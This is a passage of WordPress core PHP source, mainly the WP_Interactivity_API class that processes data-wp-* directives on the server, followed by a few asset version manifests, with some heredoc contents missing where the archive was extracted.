tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. */ public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /** * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. */ public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } interactivity-api/class-wp-interactivity-api.php000064400000124347147177035010016136 0ustar00 'data_wp_interactive_processor', 'data-wp-router-region' => 'data_wp_router_region_processor', 'data-wp-context' => 'data_wp_context_processor', 'data-wp-bind' => 'data_wp_bind_processor', 'data-wp-class' => 'data_wp_class_processor', 'data-wp-style' => 'data_wp_style_processor', 'data-wp-text' => 'data_wp_text_processor', /* * `data-wp-each` needs to be processed in the last place because it moves * the cursor to the end of the processed items to prevent them to be * processed twice. */ 'data-wp-each' => 'data_wp_each_processor', ); /** * Holds the initial state of the different Interactivity API stores. * * This state is used during the server directive processing. Then, it is * serialized and sent to the client as part of the interactivity data to be * recovered during the hydration of the client interactivity stores. * * @since 6.5.0 * @var array */ private $state_data = array(); /** * Holds the configuration required by the different Interactivity API stores. * * This configuration is serialized and sent to the client as part of the * interactivity data and can be accessed by the client interactivity stores. * * @since 6.5.0 * @var array */ private $config_data = array(); /** * Flag that indicates whether the `data-wp-router-region` directive has * been found in the HTML and processed. * * The value is saved in a private property of the WP_Interactivity_API * instance instead of using a static variable inside the processor * function, which would hold the same value for all instances * independently of whether they have processed any * `data-wp-router-region` directive or not. * * @since 6.5.0 * @var bool */ private $has_processed_router_region = false; /** * Stack of namespaces defined by `data-wp-interactive` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array|null */ private $namespace_stack = null; /** * Stack of contexts defined by `data-wp-context` directives, in * the order they are processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.6.0 * @var array>|null */ private $context_stack = null; /** * Representation in array format of the element currently being processed. * * This is only available during directive processing, otherwise it is `null`. * * @since 6.7.0 * @var array{attributes: array}|null */ private $current_element = null; /** * Gets and/or sets the initial state of an Interactivity API store for a * given namespace. * * If state for that store namespace already exists, it merges the new * provided state with the existing one. * * When no namespace is specified, it returns the state defined for the * current value in the internal namespace stack during a `process_directives` call. * * @since 6.5.0 * @since 6.6.0 The `$store_namespace` param is optional. * * @param string $store_namespace Optional. The unique store namespace identifier. * @param array $state Optional. The array that will be merged with the existing state for the specified * store namespace. * @return array The current state for the specified store namespace. This will be the updated state if a $state * argument was provided. */ public function state( ?string $store_namespace = null, ?array $state = null ): array { if ( ! $store_namespace ) { if ( $state ) { _doing_it_wrong( __METHOD__, __( 'The namespace is required when state data is passed.' ), '6.6.0' ); return array(); } if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } if ( null === $this->namespace_stack ) { _doing_it_wrong( __METHOD__, __( 'The namespace can only be omitted during directive processing.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } if ( ! isset( $this->state_data[ $store_namespace ] ) ) { $this->state_data[ $store_namespace ] = array(); } if ( is_array( $state ) ) { $this->state_data[ $store_namespace ] = array_replace_recursive( $this->state_data[ $store_namespace ], $state ); } return $this->state_data[ $store_namespace ]; } /** * Gets and/or sets the configuration of the Interactivity API for a given * store namespace. * * If configuration for that store namespace exists, it merges the new * provided configuration with the existing one. * * @since 6.5.0 * * @param string $store_namespace The unique store namespace identifier. * @param array $config Optional. The array that will be merged with the existing configuration for the * specified store namespace. * @return array The configuration for the specified store namespace. This will be the updated configuration if a * $config argument was provided. */ public function config( string $store_namespace, array $config = array() ): array { if ( ! isset( $this->config_data[ $store_namespace ] ) ) { $this->config_data[ $store_namespace ] = array(); } if ( is_array( $config ) ) { $this->config_data[ $store_namespace ] = array_replace_recursive( $this->config_data[ $store_namespace ], $config ); } return $this->config_data[ $store_namespace ]; } /** * Prints the serialized client-side interactivity data. * * Encodes the config and initial state into JSON and prints them inside a * script tag of type "application/json". Once in the browser, the state will * be parsed and used to hydrate the client-side interactivity stores and the * configuration will be available using a `getConfig` utility. * * @since 6.5.0 * * @deprecated 6.7.0 Client data passing is handled by the {@see "script_module_data_{$module_id}"} filter. */ public function print_client_interactivity_data() { _deprecated_function( __METHOD__, '6.7.0' ); } /** * Set client-side interactivity-router data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity Router script module. */ public function filter_script_module_interactivity_router_data( array $data ): array { if ( ! isset( $data['i18n'] ) ) { $data['i18n'] = array(); } $data['i18n']['loading'] = __( 'Loading page, please wait.' ); $data['i18n']['loaded'] = __( 'Page Loaded.' ); return $data; } /** * Set client-side interactivity data. * * Once in the browser, the state will be parsed and used to hydrate the client-side * interactivity stores and the configuration will be available using a `getConfig` utility. * * @since 6.7.0 * * @param array $data Data to filter. * @return array Data for the Interactivity API script module. */ public function filter_script_module_interactivity_data( array $data ): array { if ( empty( $this->state_data ) && empty( $this->config_data ) ) { return $data; } $config = array(); foreach ( $this->config_data as $key => $value ) { if ( ! empty( $value ) ) { $config[ $key ] = $value; } } if ( ! empty( $config ) ) { $data['config'] = $config; } $state = array(); foreach ( $this->state_data as $key => $value ) { if ( ! empty( $value ) ) { $state[ $key ] = $value; } } if ( ! empty( $state ) ) { $data['state'] = $state; } return $data; } /** * Returns the latest value on the context stack with the passed namespace. * * When the namespace is omitted, it uses the current namespace on the * namespace stack during a `process_directives` call. * * @since 6.6.0 * * @param string $store_namespace Optional. The unique store namespace identifier. */ public function get_context( ?string $store_namespace = null ): array { if ( null === $this->context_stack ) { _doing_it_wrong( __METHOD__, __( 'The context can only be read during directive processing.' ), '6.6.0' ); return array(); } if ( ! $store_namespace ) { if ( null !== $store_namespace ) { _doing_it_wrong( __METHOD__, __( 'The namespace should be a non-empty string.' ), '6.6.0' ); return array(); } $store_namespace = end( $this->namespace_stack ); } $context = end( $this->context_stack ); return ( $store_namespace && $context && isset( $context[ $store_namespace ] ) ) ? $context[ $store_namespace ] : array(); } /** * Returns an array representation of the current element being processed. * * The returned array contains a copy of the element attributes. * * @since 6.7.0 * * @return array{attributes: array}|null Current element. */ public function get_element(): ?array { if ( null === $this->current_element ) { _doing_it_wrong( __METHOD__, __( 'The element can only be read during directive processing.' ), '6.7.0' ); } return $this->current_element; } /** * Registers the `@wordpress/interactivity` script modules. * * @deprecated 6.7.0 Script Modules registration is handled by {@see wp_default_script_modules()}. * * @since 6.5.0 */ public function register_script_modules() { _deprecated_function( __METHOD__, '6.7.0', 'wp_default_script_modules' ); } /** * Adds the necessary hooks for the Interactivity API. * * @since 6.5.0 */ public function add_hooks() { add_filter( 'script_module_data_@wordpress/interactivity', array( $this, 'filter_script_module_interactivity_data' ) ); add_filter( 'script_module_data_@wordpress/interactivity-router', array( $this, 'filter_script_module_interactivity_router_data' ) ); } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * @since 6.5.0 * * @param string $html The HTML content to process. * @return string The processed HTML content. It returns the original content when the HTML contains unbalanced tags. */ public function process_directives( string $html ): string { if ( ! str_contains( $html, 'data-wp-' ) ) { return $html; } $this->namespace_stack = array(); $this->context_stack = array(); $result = $this->_process_directives( $html ); $this->namespace_stack = null; $this->context_stack = null; return null === $result ? $html : $result; } /** * Processes the interactivity directives contained within the HTML content * and updates the markup accordingly. * * It uses the WP_Interactivity_API instance's context and namespace stacks, * which are shared between all calls. * * This method returns null if the HTML contains unbalanced tags. * * @since 6.6.0 * * @param string $html The HTML content to process. * @return string|null The processed HTML content. It returns null when the HTML contains unbalanced tags. */ private function _process_directives( string $html ) { $p = new WP_Interactivity_API_Directives_Processor( $html ); $tag_stack = array(); $unbalanced = false; $directive_processor_prefixes = array_keys( self::$directive_processors ); $directive_processor_prefixes_reversed = array_reverse( $directive_processor_prefixes ); /* * Save the current size for each stack to restore them in case * the processing finds unbalanced tags. */ $namespace_stack_size = count( $this->namespace_stack ); $context_stack_size = count( $this->context_stack ); while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) { $tag_name = $p->get_tag(); /* * Directives inside SVG and MATH tags are not processed, * as they are not compatible with the Tag Processor yet. * We still process the rest of the HTML. */ if ( 'SVG' === $tag_name || 'MATH' === $tag_name ) { if ( $p->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag, 2: Namespace of the interactive block. */ $message = sprintf( __( 'Interactivity directives were detected on an incompatible %1$s tag when processing "%2$s". These directives will be ignored in the server side render.' ), $tag_name, end( $this->namespace_stack ) ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } $p->skip_to_tag_closer(); continue; } if ( $p->is_tag_closer() ) { list( $opening_tag_name, $directives_prefixes ) = end( $tag_stack ); if ( 0 === count( $tag_stack ) || $opening_tag_name !== $tag_name ) { /* * If the tag stack is empty or the matching opening tag is not the * same than the closing tag, it means the HTML is unbalanced and it * stops processing it. */ $unbalanced = true; break; } else { // Remove the last tag from the stack. array_pop( $tag_stack ); } } else { if ( 0 !== count( $p->get_attribute_names_with_prefix( 'data-wp-each-child' ) ) ) { /* * If the tag has a `data-wp-each-child` directive, jump to its closer * tag because those tags have already been processed. */ $p->next_balanced_tag_closer_tag(); continue; } else { $directives_prefixes = array(); // Checks if there is a server directive processor registered for each directive. foreach ( $p->get_attribute_names_with_prefix( 'data-wp-' ) as $attribute_name ) { list( $directive_prefix ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( array_key_exists( $directive_prefix, self::$directive_processors ) ) { $directives_prefixes[] = $directive_prefix; } } /* * If this tag will visit its closer tag, it adds it to the tag stack * so it can process its closing tag and check for unbalanced tags. */ if ( $p->has_and_visits_its_closer_tag() ) { $tag_stack[] = array( $tag_name, $directives_prefixes ); } } } /* * If the matching opener tag didn't have any directives, it can skip the * processing. */ if ( 0 === count( $directives_prefixes ) ) { continue; } // Directive processing might be different depending on if it is entering the tag or exiting it. $modes = array( 'enter' => ! $p->is_tag_closer(), 'exit' => $p->is_tag_closer() || ! $p->has_and_visits_its_closer_tag(), ); // Get the element attributes to include them in the element representation. $element_attrs = array(); $attr_names = $p->get_attribute_names_with_prefix( '' ) ?? array(); foreach ( $attr_names as $name ) { $element_attrs[ $name ] = $p->get_attribute( $name ); } // Assign the current element right before running its directive processors. $this->current_element = array( 'attributes' => $element_attrs, ); foreach ( $modes as $mode => $should_run ) { if ( ! $should_run ) { continue; } /* * Sorts the attributes by the order of the `directives_processor` array * and checks what directives are present in this element. */ $existing_directives_prefixes = array_intersect( 'enter' === $mode ? $directive_processor_prefixes : $directive_processor_prefixes_reversed, $directives_prefixes ); foreach ( $existing_directives_prefixes as $directive_prefix ) { $func = is_array( self::$directive_processors[ $directive_prefix ] ) ? self::$directive_processors[ $directive_prefix ] : array( $this, self::$directive_processors[ $directive_prefix ] ); call_user_func_array( $func, array( $p, $mode, &$tag_stack ) ); } } // Clear the current element. $this->current_element = null; } if ( $unbalanced ) { // Reset the namespace and context stacks to their previous values. array_splice( $this->namespace_stack, $namespace_stack_size ); array_splice( $this->context_stack, $context_stack_size ); } /* * It returns null if the HTML is unbalanced because unbalanced HTML is * not safe to process. In that case, the Interactivity API runtime will * update the HTML on the client side during the hydration. It will also * display a notice to the developer to inform them about the issue. */ if ( $unbalanced || 0 < count( $tag_stack ) ) { $tag_errored = 0 < count( $tag_stack ) ? end( $tag_stack )[0] : $tag_name; /* translators: %1s: Namespace processed, %2s: The tag that caused the error; could be any HTML tag. */ $message = sprintf( __( 'Interactivity directives failed to process in "%1$s" due to a missing "%2$s" end tag.' ), end( $this->namespace_stack ), $tag_errored ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } return $p->get_updated_html(); } /** * Evaluates the reference path passed to a directive based on the current * store namespace, state and context. * * @since 6.5.0 * @since 6.6.0 The function now adds a warning when the namespace is null, falsy, or the directive value is empty. * @since 6.6.0 Removed `default_namespace` and `context` arguments. * @since 6.6.0 Add support for derived state. * * @param string|true $directive_value The directive attribute value string or `true` when it's a boolean attribute. * @return mixed|null The result of the evaluation. Null if the reference path doesn't exist or the namespace is falsy. */ private function evaluate( $directive_value ) { $default_namespace = end( $this->namespace_stack ); $context = end( $this->context_stack ); list( $ns, $path ) = $this->extract_directive_value( $directive_value, $default_namespace ); if ( ! $ns || ! $path ) { /* translators: %s: The directive value referenced. */ $message = sprintf( __( 'Namespace or reference path cannot be empty. Directive value referenced: %s' ), $directive_value ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); return null; } $store = array( 'state' => $this->state_data[ $ns ] ?? array(), 'context' => $context[ $ns ] ?? array(), ); // Checks if the reference path is preceded by a negation operator (!). $should_negate_value = '!' === $path[0]; $path = $should_negate_value ? substr( $path, 1 ) : $path; // Extracts the value from the store using the reference path. $path_segments = explode( '.', $path ); $current = $store; foreach ( $path_segments as $path_segment ) { if ( ( is_array( $current ) || $current instanceof ArrayAccess ) && isset( $current[ $path_segment ] ) ) { $current = $current[ $path_segment ]; } elseif ( is_object( $current ) && isset( $current->$path_segment ) ) { $current = $current->$path_segment; } else { return null; } if ( $current instanceof Closure ) { /* * This state getter's namespace is added to the stack so that * `state()` or `get_config()` read that namespace when called * without specifying one. */ array_push( $this->namespace_stack, $ns ); try { $current = $current(); } catch ( Throwable $e ) { _doing_it_wrong( __METHOD__, sprintf( /* translators: 1: Path pointing to an Interactivity API state property, 2: Namespace for an Interactivity API store. */ __( 'Uncaught error executing a derived state callback with path "%1$s" and namespace "%2$s".' ), $path, $ns ), '6.6.0' ); return null; } finally { // Remove the property's namespace from the stack. array_pop( $this->namespace_stack ); } } } // Returns the opposite if it contains a negation operator (!). return $should_negate_value ? ! $current : $current; } /** * Extracts the directive attribute name to separate and return the directive * prefix and an optional suffix. * * The suffix is the string after the first double hyphen and the prefix is * everything that comes before the suffix. * * Example: * * extract_prefix_and_suffix( 'data-wp-interactive' ) => array( 'data-wp-interactive', null ) * extract_prefix_and_suffix( 'data-wp-bind--src' ) => array( 'data-wp-bind', 'src' ) * extract_prefix_and_suffix( 'data-wp-foo--and--bar' ) => array( 'data-wp-foo', 'and--bar' ) * * @since 6.5.0 * * @param string $directive_name The directive attribute name. * @return array An array containing the directive prefix and optional suffix. */ private function extract_prefix_and_suffix( string $directive_name ): array { return explode( '--', $directive_name, 2 ); } /** * Parses and extracts the namespace and reference path from the given * directive attribute value. * * If the value doesn't contain an explicit namespace, it returns the * default one. If the value contains a JSON object instead of a reference * path, the function tries to parse it and return the resulting array. If * the value contains strings that represent booleans ("true" and "false"), * numbers ("1" and "1.2") or "null", the function also transform them to * regular booleans, numbers and `null`. * * Example: * * extract_directive_value( 'actions.foo', 'myPlugin' ) => array( 'myPlugin', 'actions.foo' ) * extract_directive_value( 'otherPlugin::actions.foo', 'myPlugin' ) => array( 'otherPlugin', 'actions.foo' ) * extract_directive_value( '{ "isOpen": false }', 'myPlugin' ) => array( 'myPlugin', array( 'isOpen' => false ) ) * extract_directive_value( 'otherPlugin::{ "isOpen": false }', 'myPlugin' ) => array( 'otherPlugin', array( 'isOpen' => false ) ) * * @since 6.5.0 * * @param string|true $directive_value The directive attribute value. It can be `true` when it's a boolean * attribute. * @param string|null $default_namespace Optional. The default namespace if none is explicitly defined. * @return array An array containing the namespace in the first item and the JSON, the reference path, or null on the * second item. */ private function extract_directive_value( $directive_value, $default_namespace = null ): array { if ( empty( $directive_value ) || is_bool( $directive_value ) ) { return array( $default_namespace, null ); } // Replaces the value and namespace if there is a namespace in the value. if ( 1 === preg_match( '/^([\w\-_\/]+)::./', $directive_value ) ) { list($default_namespace, $directive_value) = explode( '::', $directive_value, 2 ); } /* * Tries to decode the value as a JSON object. If it fails and the value * isn't `null`, it returns the value as it is. Otherwise, it returns the * decoded JSON or null for the string `null`. */ $decoded_json = json_decode( $directive_value, true ); if ( null !== $decoded_json || 'null' === $directive_value ) { $directive_value = $decoded_json; } return array( $default_namespace, $directive_value ); } /** * Transforms a kebab-case string to camelCase. * * @param string $str The kebab-case string to transform to camelCase. * @return string The transformed camelCase string. */ private function kebab_to_camel_case( string $str ): string { return lcfirst( preg_replace_callback( '/(-)([a-z])/', function ( $matches ) { return strtoupper( $matches[2] ); }, strtolower( rtrim( $str, '-' ) ) ) ); } /** * Processes the `data-wp-interactive` directive. * * It adds the default store namespace defined in the directive value to the * stack so that it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_interactive_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last namespace from the stack. if ( 'exit' === $mode ) { array_pop( $this->namespace_stack ); return; } // Tries to decode the `data-wp-interactive` attribute value. $attribute_value = $p->get_attribute( 'data-wp-interactive' ); /* * Pushes the newly defined namespace or the current one if the * `data-wp-interactive` definition was invalid or does not contain a * namespace. It does so because the function pops out the current namespace * from the stack whenever it finds a `data-wp-interactive`'s closing tag, * independently of whether the previous `data-wp-interactive` definition * contained a valid namespace. */ $new_namespace = null; if ( is_string( $attribute_value ) && ! empty( $attribute_value ) ) { $decoded_json = json_decode( $attribute_value, true ); if ( is_array( $decoded_json ) ) { $new_namespace = $decoded_json['namespace'] ?? null; } else { $new_namespace = $attribute_value; } } $this->namespace_stack[] = ( $new_namespace && 1 === preg_match( '/^([\w\-_\/]+)/', $new_namespace ) ) ? $new_namespace : end( $this->namespace_stack ); } /** * Processes the `data-wp-context` directive. * * It adds the context defined in the directive value to the stack so that * it's available for the nested interactivity elements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_context_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { // When exiting tags, it removes the last context from the stack. if ( 'exit' === $mode ) { array_pop( $this->context_stack ); return; } $attribute_value = $p->get_attribute( 'data-wp-context' ); $namespace_value = end( $this->namespace_stack ); // Separates the namespace from the context JSON object. list( $namespace_value, $decoded_json ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); /* * If there is a namespace, it adds a new context to the stack merging the * previous context with the new one. */ if ( is_string( $namespace_value ) ) { $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => is_array( $decoded_json ) ? $decoded_json : array() ) ); } else { /* * If there is no namespace, it pushes the current context to the stack. * It needs to do so because the function pops out the current context * from the stack whenever it finds a `data-wp-context`'s closing tag. */ $this->context_stack[] = end( $this->context_stack ); } } /** * Processes the `data-wp-bind` directive. * * It updates or removes the bound attributes based on the evaluation of its * associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_bind_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_bind_directives = $p->get_attribute_names_with_prefix( 'data-wp-bind--' ); foreach ( $all_bind_directives as $attribute_name ) { list( , $bound_attribute ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $bound_attribute ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( null !== $result && ( false !== $result || ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) ) { /* * If the result of the evaluation is a boolean and the attribute is * `aria-` or `data-, convert it to a string "true" or "false". It * follows the exact same logic as Preact because it needs to * replicate what Preact will later do in the client: * https://github.com/preactjs/preact/blob/ea49f7a0f9d1ff2c98c0bdd66aa0cbc583055246/src/diff/props.js#L131C24-L136 */ if ( is_bool( $result ) && ( strlen( $bound_attribute ) > 5 && '-' === $bound_attribute[4] ) ) { $result = $result ? 'true' : 'false'; } $p->set_attribute( $bound_attribute, $result ); } else { $p->remove_attribute( $bound_attribute ); } } } } /** * Processes the `data-wp-class` directive. * * It adds or removes CSS classes in the current HTML element based on the * evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_class_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_class_directives = $p->get_attribute_names_with_prefix( 'data-wp-class--' ); foreach ( $all_class_directives as $attribute_name ) { list( , $class_name ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $class_name ) ) { return; } $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); if ( $result ) { $p->add_class( $class_name ); } else { $p->remove_class( $class_name ); } } } } /** * Processes the `data-wp-style` directive. * * It updates the style attribute value of the current HTML element based on * the evaluation of its associated references. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_style_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $all_style_attributes = $p->get_attribute_names_with_prefix( 'data-wp-style--' ); foreach ( $all_style_attributes as $attribute_name ) { list( , $style_property ) = $this->extract_prefix_and_suffix( $attribute_name ); if ( empty( $style_property ) ) { continue; } $directive_attribute_value = $p->get_attribute( $attribute_name ); $style_property_value = $this->evaluate( $directive_attribute_value ); $style_attribute_value = $p->get_attribute( 'style' ); $style_attribute_value = ( $style_attribute_value && ! is_bool( $style_attribute_value ) ) ? $style_attribute_value : ''; /* * Checks first if the style property is not falsy and the style * attribute value is not empty because if it is, it doesn't need to * update the attribute value. */ if ( $style_property_value || $style_attribute_value ) { $style_attribute_value = $this->merge_style_property( $style_attribute_value, $style_property, $style_property_value ); /* * If the style attribute value is not empty, it sets it. Otherwise, * it removes it. */ if ( ! empty( $style_attribute_value ) ) { $p->set_attribute( 'style', $style_attribute_value ); } else { $p->remove_attribute( 'style' ); } } } } } /** * Merges an individual style property in the `style` attribute of an HTML * element, updating or removing the property when necessary. * * If a property is modified, the old one is removed and the new one is added * at the end of the list. * * @since 6.5.0 * * Example: * * merge_style_property( 'color:green;', 'color', 'red' ) => 'color:red;' * merge_style_property( 'background:green;', 'color', 'red' ) => 'background:green;color:red;' * merge_style_property( 'color:green;', 'color', null ) => '' * * @param string $style_attribute_value The current style attribute value. * @param string $style_property_name The style property name to set. * @param string|false|null $style_property_value The value to set for the style property. With false, null or an * empty string, it removes the style property. * @return string The new style attribute value after the specified property has been added, updated or removed. */ private function merge_style_property( string $style_attribute_value, string $style_property_name, $style_property_value ): string { $style_assignments = explode( ';', $style_attribute_value ); $result = array(); $style_property_value = ! empty( $style_property_value ) ? rtrim( trim( $style_property_value ), ';' ) : null; $new_style_property = $style_property_value ? $style_property_name . ':' . $style_property_value . ';' : ''; // Generates an array with all the properties but the modified one. foreach ( $style_assignments as $style_assignment ) { if ( empty( trim( $style_assignment ) ) ) { continue; } list( $name, $value ) = explode( ':', $style_assignment ); if ( trim( $name ) !== $style_property_name ) { $result[] = trim( $name ) . ':' . trim( $value ) . ';'; } } // Adds the new/modified property at the end of the list. $result[] = $new_style_property; return implode( '', $result ); } /** * Processes the `data-wp-text` directive. * * It updates the inner content of the current HTML element based on the * evaluation of its associated reference. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_text_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode ) { $attribute_value = $p->get_attribute( 'data-wp-text' ); $result = $this->evaluate( $attribute_value ); /* * Follows the same logic as Preact in the client and only changes the * content if the value is a string or a number. Otherwise, it removes the * content. */ if ( is_string( $result ) || is_numeric( $result ) ) { $p->set_content_between_balanced_tags( esc_html( $result ) ); } else { $p->set_content_between_balanced_tags( '' ); } } } /** * Returns the CSS styles for animating the top loading bar in the router. * * @since 6.5.0 * * @return string The CSS styles for the router's top loading bar animation. */ private function get_router_animation_styles(): string { return <<print_router_markup(); } /** * Outputs markup for the @wordpress/interactivity-router script module. * * This method prints a div element representing a loading bar visible during * navigation. * * @since 6.7.0 */ public function print_router_markup() { echo <<
HTML; } /** * Processes the `data-wp-router-region` directive. * * It renders in the footer a set of HTML elements to notify users about * client-side navigations. More concretely, the elements added are 1) a * top loading bar to visually inform that a navigation is in progress * and 2) an `aria-live` region for accessible navigation announcements. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. */ private function data_wp_router_region_processor( WP_Interactivity_API_Directives_Processor $p, string $mode ) { if ( 'enter' === $mode && ! $this->has_processed_router_region ) { $this->has_processed_router_region = true; /* * Initialize the `core/router` store. * If the store is not initialized like this with minimal * navigation object, the interactivity-router script module * errors. */ $this->state( 'core/router', array( 'navigation' => new stdClass(), ) ); // Enqueues as an inline style. wp_register_style( 'wp-interactivity-router-animations', false ); wp_add_inline_style( 'wp-interactivity-router-animations', $this->get_router_animation_styles() ); wp_enqueue_style( 'wp-interactivity-router-animations' ); // Adds the necessary markup to the footer. add_action( 'wp_footer', array( $this, 'print_router_markup' ) ); } } /** * Processes the `data-wp-each` directive. * * This directive gets an array passed as reference and iterates over it * generating new content for each item based on the inner markup of the * `template` tag. * * @since 6.5.0 * * @param WP_Interactivity_API_Directives_Processor $p The directives processor instance. * @param string $mode Whether the processing is entering or exiting the tag. * @param array $tag_stack The reference to the tag stack. */ private function data_wp_each_processor( WP_Interactivity_API_Directives_Processor $p, string $mode, array &$tag_stack ) { if ( 'enter' === $mode && 'TEMPLATE' === $p->get_tag() ) { $attribute_name = $p->get_attribute_names_with_prefix( 'data-wp-each' )[0]; $extracted_suffix = $this->extract_prefix_and_suffix( $attribute_name ); $item_name = isset( $extracted_suffix[1] ) ? $this->kebab_to_camel_case( $extracted_suffix[1] ) : 'item'; $attribute_value = $p->get_attribute( $attribute_name ); $result = $this->evaluate( $attribute_value ); // Gets the content between the template tags and leaves the cursor in the closer tag. $inner_content = $p->get_content_between_balanced_template_tags(); // Checks if there is a manual server-side directive processing. $template_end = 'data-wp-each: template end'; $p->set_bookmark( $template_end ); $p->next_tag(); $manual_sdp = $p->get_attribute( 'data-wp-each-child' ); $p->seek( $template_end ); // Rewinds to the template closer tag. $p->release_bookmark( $template_end ); /* * It doesn't process in these situations: * - Manual server-side directive processing. * - Empty or non-array values. * - Associative arrays because those are deserialized as objects in JS. * - Templates that contain top-level texts because those texts can't be * identified and removed in the client. */ if ( $manual_sdp || empty( $result ) || ! is_array( $result ) || ! array_is_list( $result ) || ! str_starts_with( trim( $inner_content ), '<' ) || ! str_ends_with( trim( $inner_content ), '>' ) ) { array_pop( $tag_stack ); return; } // Extracts the namespace from the directive attribute value. $namespace_value = end( $this->namespace_stack ); list( $namespace_value ) = is_string( $attribute_value ) && ! empty( $attribute_value ) ? $this->extract_directive_value( $attribute_value, $namespace_value ) : array( $namespace_value, null ); // Processes the inner content for each item of the array. $processed_content = ''; foreach ( $result as $item ) { // Creates a new context that includes the current item of the array. $this->context_stack[] = array_replace_recursive( end( $this->context_stack ) !== false ? end( $this->context_stack ) : array(), array( $namespace_value => array( $item_name => $item ) ) ); // Processes the inner content with the new context. $processed_item = $this->_process_directives( $inner_content ); if ( null === $processed_item ) { // If the HTML is unbalanced, stop processing it. array_pop( $this->context_stack ); return; } // Adds the `data-wp-each-child` to each top-level tag. $i = new WP_Interactivity_API_Directives_Processor( $processed_item ); while ( $i->next_tag() ) { $i->set_attribute( 'data-wp-each-child', true ); $i->next_balanced_tag_closer_tag(); } $processed_content .= $i->get_updated_html(); // Removes the current context from the stack. array_pop( $this->context_stack ); } // Appends the processed content after the tag closer of the template. $p->append_content_after_template_tag_closer( $processed_content ); // Pops the last tag because it skipped the closing tag of the template tag. array_pop( $tag_stack ); } } } assets/script-loader-react-refresh-runtime.min.php000064400000000124147177035010016324 0ustar00 array(), 'version' => '8f1acdfb845f670b0ef2'); assets/script-loader-react-refresh-entry.min.php000064400000000156147177035010016007 0ustar00 array('wp-react-refresh-runtime'), 'version' => '7f2b9b64306bff9c719f'); assets/script-modules-packages.min.php000064400000002641147177035010014077 0ustar00 array('dependencies' => array(), 'version' => '06b8f695ef48ab2d9277', 'type' => 'module'), 'interactivity/debug.min.js' => array('dependencies' => array(), 'version' => 'c77e5317ad566e76e750', 'type' => 'module'), 'interactivity-router/index.min.js' => array('dependencies' => array('@wordpress/interactivity', array('id' => '@wordpress/a11y', 'import' => 'dynamic')), 'version' => 'f01b88335afcef3dfc5d', 'type' => 'module'), 'a11y/index.min.js' => array('dependencies' => array(), 'version' => 'b7d06936b8bc23cff2ad', 'type' => 'module'), 'block-library/file/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'fdc2f6842e015af83140', 'type' => 'module'), 'block-library/image/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => 'acfec7b3c0be4a859b31', 'type' => 'module'), 'block-library/navigation/view.min.js' => array('dependencies' => array('@wordpress/interactivity'), 'version' => '8ff192874fc8910a284c', 'type' => 'module'), 